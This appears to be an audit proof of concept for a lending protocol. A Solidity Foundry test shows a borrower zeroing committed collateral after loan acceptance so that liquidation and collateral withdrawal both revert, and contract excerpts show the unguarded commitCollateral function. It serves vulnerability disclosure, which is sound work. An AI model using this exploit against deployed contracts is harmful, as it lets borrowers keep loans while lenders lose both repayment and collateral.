File: TellerV2_Test.sol
451:     function test_MaliciousBorrowerCanBlockLiquidations() public {
452:         // Malicious borrower can block liquidations causing the lender
453:         // to receive neither the settlement amount nor the collateral
454:         // 1. Create the collateral bid and lender accept it
455:         // 2. Assert the escrow has the borrower's collateral
456:         // 3. Malicious borrower modifies to zero the collateral amount
457:         // 4. Skip the time so the loan is defaulted
458:         // 5. The liquidations are reverted by "Withdraw amount cannot be zero" error
459:         // 6. The collateral withdrawals are reverted by "Withdraw amount cannot be zero" error
460:         //
461:         //
462:         // 1. Create the collateral bid and lender accept it
463:         //
464:         // Submit bid as borrower
465:         uint256 bidId = submitCollateralBid();
466:         // Accept bid as lender
467:         acceptBid(bidId);
468:         //
469:         // 2. Assert the escrow has the borrower's collateral
470:         //
471:         // Get newly created escrow and test the creates escrow has the same bidId and collateral stored
472:         address escrowAddress = collateralManager._escrows(bidId);
473:         CollateralEscrowV1 escrow = CollateralEscrowV1(escrowAddress);
474:         uint256 storedBidId = escrow.getBid();
475:         assertEq(bidId, storedBidId, "Collateral escrow was not created");
476:         uint256 escrowBalance = wethMock.balanceOf(escrowAddress);
477:         assertEq(collateralAmount, escrowBalance, "Collateral was not stored");
478:         //
479:         // 3. Malicious borrower modifies to zero the collateral amount.
480:         //
481:         Collateral memory maliciousInfo;
482:         maliciousInfo._amount = 0; // <-- zero value
483:         maliciousInfo._tokenId = 0;
484:         maliciousInfo._collateralType = CollateralType.ERC20;
485:         maliciousInfo._collateralAddress = address(wethMock);
486:         collateralManager.commitCollateral(bidId, maliciousInfo);
487:         //
488:         // 4. Skip the time so the loan is defaulted
489:         //
490:         Payment memory amountOwed = tellerV2.calculateAmountOwed(bidId);
491:         vm.warp(30 days);
492:         //
493:         // 5. The liquidations are reverted by "Withdraw amount cannot be zero" error
494:         //
495:         IERC20(address(daiMock)).approve(address(tellerV2), amountOwed.principal + amountOwed.interest);
496:         vm.expectRevert(bytes("Withdraw amount cannot be zero"));
497:         tellerV2.liquidateLoanFull(bidId);
498:         //
499:         // 6. The collateral withdrawals are reverted by "Withdraw amount cannot be zero" error
500:         //
501:         vm.expectRevert(bytes("Withdraw amount cannot be zero"));
502:         collateralManager.withdraw(bidId);
503:     }

File: CollateralManager.sol
117:     function commitCollateral(
118:         uint256 _bidId,
119:         Collateral[] calldata _collateralInfo
120:     ) public returns (bool validation_) {
121:         address borrower = tellerV2.getLoanBorrower(_bidId);
122:         (validation_, ) = checkBalances(borrower, _collateralInfo);
123: 
124:         if (validation_) {
125:             for (uint256 i; i < _collateralInfo.length; i++) {
126:                 Collateral memory info = _collateralInfo[i];
127:                 _commitCollateral(_bidId, info);
128:             }
129:         }
130:     }

File: CollateralEscrowV1.sol
84:     function withdraw(
85:         address _collateralAddress,
86:         uint256 _amount,
87:         address _recipient
88:     ) external virtual onlyOwner {
89:         require(_amount > 0, "Withdraw amount cannot be zero");
90:         Collateral storage collateral = collateralBalances[_collateralAddress];